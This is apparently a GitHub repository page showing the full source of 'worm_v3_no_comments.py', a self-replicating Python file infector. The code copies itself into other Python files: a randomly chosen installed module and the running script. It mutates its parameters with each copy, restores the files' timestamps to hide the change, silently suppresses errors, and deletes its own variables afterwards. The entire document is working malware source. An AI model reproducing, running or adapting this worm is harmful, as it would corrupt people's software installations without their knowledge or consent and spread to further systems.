-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathworm_v3_no_comments.py
56 lines (51 loc) · 1.8 KB
/
worm_v3_no_comments.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
genes={'minsize':3072,'target_mod':'site','cnt':0,'memory':[]}
mark="#####MyPython####"#v1.2.0
def find_code(file):
code=''
with open(file,encoding="utf-8") as f:
for line in f:
if mark in line.strip():
code=line+f.read()
return code
def add_memory(gene,item):
import sys,os;mem=gene['memory']
mem.append(item);gene['cnt']+=1
size=sum(len(item) for item in mem);maxsize=40
while mem and size>maxsize:
size-=len(mem.pop(0))
def mutate(gene):
import sys,random as r
mut=gene.copy();mut['memory']=gene['memory'].copy()
if r.random()<0.2:
mut['minsize']=max(1500,mut['minsize']+round(r.gauss(0,80)))
if (r.random()<0.1 if '__name__'=='__main__' else r.random()<0.01):
mod=None
while not (hasattr(sys.modules.get(mod),'__file__') \
and sys.modules[mod].__file__.lower().endswith('.py')):
mod=r.choice(list(sys.modules))
mut['target_mod']=mod
return mut
def spread_to_file(file,code):
import os;stat=os.stat(file)
old_time=stat.st_atime,stat.st_mtime
with open(file,'r',encoding='utf-8') as f:
for line in f:
if mark in line:return
if os.path.getsize(file)>=genes['minsize']:
backup=genes['memory'].copy()
add_memory(genes,os.path.split(file)[1])
with open(file,'a',encoding='utf-8') as f:
f.write('\ngenes=%r\n' % mutate(genes))
f.write(code)
os.utime(file,old_time)
genes['memory']=backup
def spread(mod,code):
spread_to_file(__import__(mod).__file__,code)
try:
code=find_code(__file__)
spread(genes['target_mod'],code)
spread_to_file(__import__('sys').argv[0],code)
except:pass
del find_code,add_memory,mutate,spread,spread_to_file,genes,mark
try:del code
except NameError:pass